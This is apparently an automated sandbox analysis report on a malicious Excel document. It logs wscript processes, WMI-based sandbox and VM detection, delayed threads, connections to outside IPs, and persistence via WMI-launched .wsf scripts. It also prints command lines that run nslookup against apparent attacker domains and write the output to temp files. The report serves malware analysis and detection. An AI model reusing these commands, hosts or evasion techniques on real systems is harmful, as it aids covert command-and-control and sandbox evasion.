Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\scrcons.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Service::create

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk

Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\splwow64.exe

Window / User API: threadDelayed 950

Source: C:\Windows\System32\svchost.exe TID: 7808

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: wscript.exe, 00000005.00000002.2590413884.0000000004F9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@Y
Source: svchost.exe, 00000003.00000002.2589113153.00000163E7C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0zE
Source: svchost.exe, 00000007.00000002.2588381346.000001FE04890000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 00000003.00000002.2595209517.00000163ED455000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589266427.000001FE048DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 1.1.1.1 443
Source: C:\Windows\System32\wscript.exe	Network Connect: 23.111.175.138 80
Source: C:\Windows\System32\wscript.exe	Network Connect: 181.214.58.112 80

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Users\user\AppData\Local\Temp\~cmdscript.tmp	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wbem\scrcons.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\autoexec.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "%HOME%\winstart.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\winstart.wsf"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
